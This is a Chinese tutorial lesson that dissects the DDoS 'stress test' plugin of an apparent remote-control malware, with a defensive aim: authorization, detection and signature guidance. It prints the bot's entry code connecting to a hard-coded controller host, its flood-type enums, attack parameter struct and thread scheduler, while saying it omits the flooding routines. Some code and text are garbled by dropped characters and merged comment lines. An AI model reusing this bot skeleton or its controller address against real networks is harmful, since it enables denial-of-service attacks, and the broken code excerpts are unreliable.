第 40 课:主插件:压力测试
# 第 40 课:主插件:压力测试
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
本课围绕 主插件\压力测试 展开。虽然源码目录使用“压力测试”命名,但内部类名、枚举和函数名显示它具备多种高风险流量生成能力。企业安全工程学习者必须明确边界:合法压力测试需要书面授权、明确范围、时间窗口、流量上限、监控方案和回滚预案;未授权流量冲击可能造成业务不可用、客户损失和法律风险。
因此,本课只讲源码结构、调度逻辑、风险识别和防御检测,不展开任何可直接复用的发包细节、参数配置或执行方法。
# 1. 本课学习目标
读完本课,你应该能理解:
压力测试插件在整体工程中的角色?
DDOSManager如何接收命令、保存参数、创建定时器和工作线程?ATTACK结构在源码里承载哪些风险参数?为什么线程数、目标、端口、持续时间、报文类型都是高风险信号?
企业如何区分授权压力测试和异常可用性风险?
如何从主机、网络、边界设备和变更记录做事件关联。
# 2. 源码目录和文件
| 路径 | 作用 |
|---|---|
主插件\压力测试\压力测试.sln | 压力测试插件解决方案 |
主插件\压力测试\压力测试\压力测试.cpp | 插件入口、网络连接、管理器创建 |
主插件\压力测试\压力测试\DDOSManager.h | 命令枚举、流量类型枚举、参数结构、管理器声明 |
主插件\压力测试\压力测试\DDOSManager.cpp | 命令处理、定时器、线程调度和高风险网络函数 |
依赖说明: 本课主要使用 WinSock、Windows 线程/定时器和项目 HPSocket 通信层。这里的重点不是某个第三方库,而是远程命令如何把目标、端口、线程数和持续时间传给本地网络线程。涉及高风险流量生成的实现只做防御性说明,代码注释会标出参数来源和检测边界,不提供可复用执行步骤。

# 3. 安全边界:合法压力测试必须先有授权。
在企业里,压力测试和可用性攻击之间的差异不在技术动作,而在授权边界和控制措施。
| 要素 | 合法压力测试 | 高风险异常行为 |
|---|---|---|
| 授权 | 有书面范围、审批和联系人 | 无授权或范围不清 |
| 时间 | 固定测试窗口 | 任意时间触发 |
| 目标 | 明确资产和端口 | 任意目标或第三方目标 |
| 流量 | 有上限和停止条件 | 不受控、不可预测 |
| 监控 | 测试前通知 SOC、运维、云厂商 | 无监控联动 |
| 应急 | 有回滚和阻断预案 | 发生故障后难以归因 |
本课后续所有内容都按防御理解展开。
# 4. 插件入口
// 源码位置:主插件\压力测试\压力测试\压力测试.cpp:7-44
// 防御分析注释:入口连接成功后创建 DDOSManager
// 这类模块一旦被未授权触发,可能直接造成可用性风险
struct plugInfo
{
char mark[30];
TCHAR szAddress[255];
DWORD szPort;
BOOL IsTcp;
BOOL RunDllEntryProc;
} MyInfo =
{
"plugmark",
_T("iamasbcx.asuscomm.com"),
6000,
1,
0,
};
DWORD WINAPI MainThread(LPVOID dllMainThread)
{
ISocketBase* socketClient;
if (MyInfo.IsTcp == 1)
socketClient = new CTcpSocket();
else
socketClient = new CUdpSocket();
if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))
{
DDOSManager manager(socketClient);
socketClient->run_event_loop();
}
SAFE_DELETE(socketClient);
if (MyInfo.RunDllEntryProc)
ExitProcess(0);
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# 5. 关键结构和函数位置
| 文件 | 结构/函数 | 大致行号 | 作用 |
|---|---|---|---|
DDOSManager.h | 命令枚举 | 9-14 | 启动、停止相关命 |
DDOSManager.h | 流量类型枚举 | 17-29 | 多种高风险流量类 |
DDOSManager.h | ATTACK 结构 | 78-89 | 目标、端口、类型、线程、时间、数 |
DDOSManager.h | DDOSManager 类声明 | 100-117 | 管理器和工作函数声明 |
DDOSManager.cpp | 构造函数 | 18-33 | 单实例互斥、发送启token |
DDOSManager.cpp | OnReceive | 41-60 | 接收启动和停止命 |
DDOSManager.cpp | CreateTimeer | 99-114 | 根据时间停止 |
DDOSManager.cpp | DDOSAttackr | 146-255 | 根据类型创建多个工作线程 |
DDOSManager.cpp | 各类工作函数 | 268 以后 | 高风险网络流量实现,本课不展开 |
# 6. 命令和参数结。
源码中命名使用了 ATTACK、DDOSManager 等高风险词。我们保留这些名字是为了让读者能对照源码,但讲解只用于防御识别。
// 源码位置:主插件\压力测试\压力测试\DDOSManager.h:9-29,78-89
// 防御分析注释:这些枚举和字段可以帮助蓝队识别风险配置// 但不应被用于未授权流量生成enum
{
COMMAND_NEXT_DDOS,
COMMAND_DDOS_ATTACK,
COMMAND_DDOS_STOP,
};
enum
{
ATTACK_CCFLOOD,
ATTACK_IMITATEIE,
ATTACK_LOOPCC,
ATTACK_ICMPFLOOD,
ATTACK_UDPFLOOD,
ATTACK_TCPFLOOD,
ATTACK_SYNFLOOD,
ATTACK_BRAINPOWER,
CUSTOM_TCPSEND = 100,
CUSTOM_UDPSEND,
};
typedef struct DDOS_HEAD
{
TCHAR Target[400]; // 防御视角:目标资产字 WORD AttackPort; // 防御视角:目标端口字 WORD AttackType; // 防御视角:流量类型字 WORD AttackThread; // 防御视角:并发线程数字段
WORD AttackTime; // 防御视角:持续时间字 CHAR SendData[2000]; // 防御视角:自定义数据字段
WORD DataSize;
DWORD ExtendData1;
DWORD ExtendData2;
} ATTACK, *LPATTACK;
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
从防御角度看,ATTACK 结构的高风险字段包括
| 字段 | 防御含义 |
|---|---|
Target | 被冲击的目标资产 |
AttackPort | 被访问的端口 |
AttackType | 流量类型 |
AttackThread | 并发强度 |
AttackTime | 持续时间 |
SendData / DataSize | 自定义负载大小和内容 |
ExtendData2 | 源码中用于间隔等控制,影响速率 |
# 7. Manager 构造:单实例和启动 token
// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:18-33
// 防御分析注释:构造函数创建互斥体限制单实例,并向主控端发TOKEN_DDOS// 单实例互斥名可以作为静态和运行时排查线索DDOSManager::DDOSManager(ISocketBase* pClient) : CManager(pClient)
{
m_buser = FALSE;
hObject = CreateMutex(NULL, FALSE, _T("DDOSManager"));
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hObject);
pClient->Disconnect();
return;
}
CountTime = 0;
pDDOSManager = this;
BYTE bToken = TOKEN_DDOS;
Send((LPBYTE)&bToken, 1);
m_buser = TRUE;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
互斥体本身不是恶意特征,很多正常程序也会限制单实例。但当互斥名、外联、线程峰值、异常网络流量同时出现时,它可以作为关联线索。
# 8. 命令入口:启动和停止

// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:41-60
// 防御分析注释:网络命令会ATTACK 参数复制进本地结构并进入调度函数// 防御侧应关注远程命令触发本机高并发网络线程的行为void DDOSManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == TOKEN_HEARTBEAT) return;
switch (lpBuffer[0])
{
case COMMAND_DDOS_STOP:
Stoping = FALSE;
break;
case COMMAND_DDOS_ATTACK:
{
ATTACK m_Attack;
memcpy(&m_Attack, lpBuffer + 1, sizeof(ATTACK));
DDOSAttackr(&m_Attack);
}
break;
default:
break;
}
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
这段代码的关键是:网络缓冲区中的参数直接决定目标、端口、类型、线程数和时间。企业检测可以把“收到远程命令后短时间创建大量网络线程”作为强关联行为。
# 9. 定时器:按持续时间停。
// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:99-114
// 防御分析注释:CreateTimeer 根据 CountTime 控制停止标志// 可用性风险排查时,持续时间字段可以帮助还原事件窗口DWORD WINAPI DDOSManager::CreateTimeer(LPVOID lParam)
{
DWORD SleepTime = pDDOSManager->CountTime;
pDDOSManager->CountTime = 0;
SleepTime = SleepTime * 60 * 1000;
DWORD CountTime = 0;
while (CountTime < SleepTime)
{
if (Stoping == FALSE)
return 1;
CountTime += 500;
Sleep(500);
}
Stoping = FALSE;
return 0;
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
定时器是防御分析中的事件边界线索:如果你看到某台主机从某个时间点开始出现网络突增,又在一个固定窗口后停止,可以回头检查是否存在类似的持续时间控制逻辑。
# 10. 调度函数:根据类型创建工作线。
下面是安全化节选:省略可直接复用的高风险流量生成细节,仅保留防御分析所需的调度思路。
// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:146-255
// 防御分析注释:DDOSAttackr 的核心是复制参数、设置停止标志// 创建定时器,并按 AttackType 创建多个工作线程// 安全化节选:省略可直接复用的高风险工作线程实现,仅保留调度结构void DDOSManager::DDOSAttackr(LPATTACK PoinParam)
{
Stoping = TRUE;
memcpy(&m_Attack, PoinParam, sizeof(ATTACK));
CountTime = m_Attack.AttackTime;
if (m_Attack.AttackType != CUSTOM_TCPSEND &&
m_Attack.AttackType != CUSTOM_UDPSEND &&
m_Attack.AttackType != ATTACK_LOOPCC)
{
m_Attack.ExtendData2 = 100;
m_Attack.DataSize = (WORD)strlen(m_Attack.SendData);
}
CloseHandle(CreateThread(NULL, NULL, CreateTimeer, &m_Attack.AttackTime, 0, NULL));
for (int i = 0; i < m_Attack.AttackThread; i++)
{
// 原源码会根据 AttackType 创建不同工作函数 // 防御侧只需要关注:线程数量、目标、端口、持续时间、流量类型 // 具体网络发送细节本课不展开 }
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
对企业检测来说,DDOSAttackr 的重点不是某一种报文,而是调度特征
| 调度特征 | 防御价值 |
|---|---|
Stoping = TRUE | 标记进入持续运行状态 |
memcpy(&m_Attack, ...) | 外部参数进入本地执行上下 |
CountTime = m_Attack.AttackTime | 事件持续时间可还 |
CreateTimeer | 独立停止线程 |
for i < AttackThread | 并发强度由外部参数决 |
| 不同工作函数 | 对应不同网络流量形 |
# 11. 高风险工作函数只做防御性识。
源码后半部分包含多类网络工作函数。本课不贴出可复用实现,只列出防御识别要点。
// 源码位置:主插件\压力测试\压力测试\DDOSManager.cpp:268-623
// 防御分析注释:原文件在这些函数中实现具体网络流量生成// 安全化节选:省略可直接复用的高风险目标解析、循环发送// 原始报文构造和自定义负载细节//
// 防御侧关注以下行为即可:
// 1. CCAttack / LoopCCAttack:大TCP 连接和请求形态// 2. UDPAttackModel:UDP socket 和高sendto 形态// 3. ICMP_Flood:Raw socket ICMP 异常峰值// 4. SYNFlood:原TCP 报文构造和半连接压力风险?
2
3
4
5

# 12. 流量类型的防御理
| 类型 | 防御侧怎么 | 常见影响 |
|---|---|---|
| TCP 连接 | 短连接、连接失败、端口连接速率上升 | 应用连接池、网关、目标端口压力 |
| UDP 报文本 | 单向 UDP 包速率异常 | 带宽、边界设备、目标服务压 |
| ICMP | ICMP 包量突然升高 | 链路和网络设备告 |
| SYN/RAW | 半连接、原socket、异常握 | 防火墙、负载均衡、系backlog |
| HTTP/CC | 应用层请求峰 | Web、WAF、缓存和后端服务压力 |
这些描述只用于防御识别。企业任何压力测试都必须使用批准工具、批准目标和批准时间窗口。
# 13. 防护控制

| 控制。 | 说明 |
|---|---|
| 授权范围 | 明确目标资产、端口、方法、强度、时 |
| 变更留痕 | 测试前建立工单,通知 SOC、网络、业务和云厂 |
| 速率限制 | 主机、网关、负载均衡、API 网关都应有阈 |
| 边界防护 | WAF、DDoS 防护、ACL、黑洞或清洗策略 |
| 监控基线 | 建立 QPS、连接数、带宽、错误率、延迟基 |
| 应急预案 | 一键停止、阻断源、扩容、回滚和客户通知流程 |
# 14. 企业检测点

| 检测层 | 建议检测点 |
|---|---|
| 主机 | 短时间创建大量网络线程、Raw socket、异socket 类型 |
| 进程 | 非压测工具、非批准路径、无签名程序产生高并发流 |
| 网络 | 连接速率、包速率、失败率、半连接数、UDP/ICMP 峰 |
| 边界 | 防火墙、WAF、负载均衡、云防护设备的限速和丢弃事件 |
| 资产 | 被访问资产是否在批准测试范围 |
| 变更 | 是否存在测试工单、审批记录和通知窗口 |
| 关联分析 | 主机线程峰值、网络峰值和变更记录是否匹配 |
# 15. 静态规则特。
静态特征只能作为候选线索,不能单独定性
| 特征 | 防御含义 |
|---|---|
COMMAND_DDOS_ATTACK / COMMAND_DDOS_STOP | 高风险命令入口 |
ATTACK_CCFLOOD、ATTACK_UDPFLOOD、ATTACK_SYNFLOOD | 风险类型枚举 |
CreateMutex("DDOSManager") | 单实例线 |
CreateThread 和 AttackThread | 并发线程受参数控制 |
SOCK_RAW | 原始 socket 高风险信 |
sendto 高频调用 | UDP/ICMP/RAW 类流量线 |
Target、AttackPort、AttackTime 字段 | 参数结构线索 |
# 16. 误报来源
| 误报来源 | 排查方式 |
|---|---|
| 授权压测工具 | 是否有工单、批准窗口、工具白名单和监控通知 |
| 网络扫描 | 是否为资产发现任务,流量形态是否匹配扫 |
| 备份或同步任 | 是否访问固定业务目标,是否在计划任务窗口 |
| 安全设备自测 | 是否由安全团队发起,是否有变更记 |
| 业务流量峰 | 是否来自真实用户访问,是否有活动或发布背 |
# 17. 合法练习:
不运行任何代码,只根据
DDOSManager.h画出ATTACK参数结构的风险字段图?设计一条检测逻辑:非批准进程10 秒内创建大量网络线程并产生包速率峰值?
给出一份合法压力测试前的通知清单,包含目标、时间、联系人、停止条件?
阅读
OnReceive,说明为什么网络缓冲区参数直接影响本机行为是高风险设计?根据本课检测点,写出“授权压测”和“异常流量冲击”的区分标准。
# 18. 本课小结
压力测试模块的主线是:入口连接主控端,DDOSManager 接收启动或停止命令,复制参数结构,启动定时器,并按类型创建多个网络工作线程。
这类代码必须严格放在授权边界内分析。防御侧应关注线程峰值、目标和端口、持续时间、Raw socket、包速率、边界设备告警以及是否存在批准测试窗口。没有授权、没有范围、没有监控和停止条件的流量冲击,不能被称为压力测试。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言